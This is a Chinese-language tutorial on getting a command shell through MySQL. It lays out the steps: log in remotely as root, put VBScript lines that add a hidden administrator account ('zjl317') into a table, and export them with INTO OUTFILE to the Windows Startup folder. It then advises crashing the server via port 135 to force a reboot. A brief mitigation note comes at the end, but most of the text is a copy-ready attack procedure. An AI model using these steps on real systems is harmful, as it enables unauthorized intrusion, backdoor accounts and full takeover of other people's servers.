MySQL获取cmdshell的攻击手法与安全防护
利用MySQL的intooutfile特性,攻击者向目标服务器启动项写入VBS脚本,进而添加管理员账户并获取系统权限。防范措施:限制MySQL运行账户的文件写入权限,禁止写入 vbs等可执行后缀名文件。
MySQL数据库不仅用于数据存储,若具备文件写入权限,还可能被用作远程控制的中转站。以下示例演示如何利用MySQL的into outfile功能,在目标服务器上写入VBS脚本至启动项,进而获取管理员权限。前提是目标MySQL服务允许远程连接,且运行账户拥有文件写入权限。下面直接进入操作步骤。
1、连接到对方MySQL服务器
首先,使用以下命令连接目标MySQL服务器:mysql -u root -h 192.168.0.1。请确保mysql.exe位于MySQL安装目录的bin文件夹中,并且网络连接正常,目标MySQL的root账户已开启远程登录权限。
2、查看服务器上有哪些数据库
执行mysql> show databases;查看数据库列表。MySQL默认安装包含mysql和test两个数据库,若出现其他数据库则为用户自行创建。
3、进入目标数据库
执行mysql> use test;进入test数据库,后续所有操作均在此数据库中进行。
4、查看当前数据库中的数据表
执行mysql> show tables;查看数据表列表。默认情况下,test数据库为空,无任何表。
接下来进入关键步骤。
5、在test数据库下创建一个新表
执行mysql> create table a (cmd text);创建一个名为a的表,仅包含一个cmd字段,数据类型为text文本。该表用于存储后续VBS脚本的代码行。
6、在表中插入内容
依次执行以下三条INSERT语句:
mysql> insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
mysql> insert into a values ("a=wshshell.run (""cmd.exe /c net user zjl317 zjl317 /add"",0) " );
mysql> insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators zjl317 /add"",0) " );
注意双引号、括号以及末尾的",0"必须精确输入。这三条命令将构建一个VBS脚本,用于在目标系统上创建新用户zjl317并将其添加到管理员组。
7、查看表a中的内容
执行mysql> select * from a;查看表a的数据。如果显示三行记录,即为刚刚插入的代码,确认无误后继续。
8、将表输出为VBS脚本文件
执行mysql> select * from a into outfile "c:\docume~1\alluse~1\「开始」菜单\程序\启动\a.vbs";,注意路径中的双引号不可省略。该命令将表a的内容导出到Windows启动文件夹,生成a.vbs脚本文件,待服务器重启后自动执行。
9、看到这里大家应该明白,本质是利用MySQL输出一个可执行文件
为何不使用BAT?因为BAT脚本执行时会弹出明显的DOS窗口,而VBS脚本可以完全隐藏窗口且无错误提示。原本还应添加一行自删除脚本,但由于中文目录路径无法处理,只能放弃。现在,使用工具攻击目标服务器的135端口使其重启,几分钟后你便拥有管理员权限。
防范措施:通常可通过限制MySQL运行账户的权限,尤其是文件写入权限,禁止写入.vbs、.vba、.bat、.cmd等可执行文件后缀。许多企业采用McAfee等安全软件实施此类策略,强烈建议部署。

